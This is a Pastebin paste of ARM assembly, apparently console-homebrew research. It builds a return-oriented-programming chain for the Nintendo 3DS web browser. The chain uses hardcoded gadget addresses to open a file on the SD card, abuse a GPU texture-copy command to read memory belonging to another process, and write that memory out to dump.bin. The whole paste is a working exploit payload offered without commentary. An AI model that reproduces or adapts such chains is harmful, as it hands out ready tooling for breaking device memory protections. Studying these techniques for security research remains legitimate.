Guest User

Untitled

a guest
Jan 18th, 2015
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.44 KB | None | 0 0
  1. .nds
  2.  
  3. .create "test.bin",0x0
  4.  
  5. SPIDER_ROP_LOC equ 0x08F01000
  6. SPIDER_GSPHEAPBUF equ 0x18410000;0x18370000
  7. DLPLAY_LOC equ (0x1A3500-0x00100000+0x03F50000+0x14000000-0x4000)
  8.  
  9. SIZE equ 0x010000
  10.  
  11.  
  12. spiderRop:
  13. ;Open file
  14. .word 0x0029C170 ; LDMFD SP!, {R0-R4,PC}
  15. .word 0x08F10040
  16. .word SPIDER_ROP_LOC+fname ; Filename pointer
  17. .word 0x00000006 ; Write + Create
  18. .word 0xDEADC0DE
  19. .word 0xDEADC0DE
  20. .word 0x002D6A34 ; pop {lr, pc}
  21. .word 0x0010DB6C ; lr (pop {pc})
  22. .word 0x0025B0A4 ; IFile_Open(), then LDMFD SP!, {R4-R7,PC}
  23.  
  24.  
  25. ;flush data cache
  26. .word 0x0029C170 ; pop {r0, r1, r2, r3, r4, pc}
  27. .word 0x003B643C ; r0 (handle ptr)
  28. .word 0xFFFF8001 ; r1 (kprocess handle)
  29. .word SPIDER_GSPHEAPBUF ; r2 (address)
  30. .word SIZE ; r3 (size)
  31. .word 0xDEADC0DE ; r4 (garbage)
  32. .word 0x002D6A34 ; pop {lr, pc}
  33. .word 0x0010DB6C ; lr (pop {pc})
  34. .word 0x00344C2C ; GSPGPU_FlushDataCache
  35.  
  36. ;send GX command
  37. .word 0x002AD574 ; pop {r0, pc}
  38. .word 0x003F54E8+0x58 ; r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
  39. .word 0x00269758 ; pop {r1, pc}
  40. .word SPIDER_ROP_LOC+gxCommand ; r1 (cmd addr)
  41. .word 0x002D6A34 ; pop {lr, pc}
  42. .word 0x0010DB6C ; lr (pop {pc})
  43. .word 0x002CF3EC ; nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue
  44.  
  45. ;sleep for a bit
  46. .word 0x002AD574 ; pop {r0, pc}
  47. .word 500000000 ; r0 (half second)
  48. .word 0x00269758 ; pop {r1, pc}
  49. .word 0x00000000 ; r1 (nothing)
  50. .word 0x002D6A34 ; pop {lr, pc}
  51. .word 0x0010DB6C ; lr (pop {pc})
  52. .word 0x002A513C ; svc 0xa | bx lr
  53.  
  54. ;Write out to file
  55. .word 0x0029C170 ; LDMFD SP!, {R0-R4,PC}
  56. .word 0x08F10040
  57. .word SPIDER_ROP_LOC+bytesWritten ; Bytes written pointer
  58. .word SPIDER_GSPHEAPBUF ; Src
  59. .word SIZE ; Size
  60. .word 0xDEADC0DE
  61. .word 0x002D6A34 ; pop {lr, pc}
  62. .word 0x0010DB6C ; lr (pop {pc})
  63. .word 0x00311D90 ; IFile_Write(), then LDMFD SP!, {R4-R11,PC}
  64.  
  65. .word 0xFFFFFFFF ; Crash and burn
  66.  
  67. .align 0x4
  68. gxCommand:
  69. .word 0x00000004 ;command header (SetTextureCopy)
  70. .word DLPLAY_LOC ;source address
  71. .word SPIDER_GSPHEAPBUF ;destination address
  72. .word SIZE ;size
  73. .word 0xFFFFFFFF ; dim in
  74. .word 0xFFFFFFFF ; dim out
  75. .word 0x00000008 ; flags
  76. .word 0x00000000 ; unused
  77.  
  78.  
  79. fname:
  80. .db "d", 0x00, "m", 0x00, "c", 0x00, ":", 0x00, "/", 0x00, "d", 0x00, "u", 0x00, "m", 0x00, "p", 0x00, ".", 0x00, "b", 0x00, "i", 0x00, "n", 0x00, 0x00
  81.  
  82. bytesWritten:
  83. .word 0x0
  84.  
  85. end:
  86.  
  87. .Close
Advertisement
Add Comment
Please, Sign In to add comment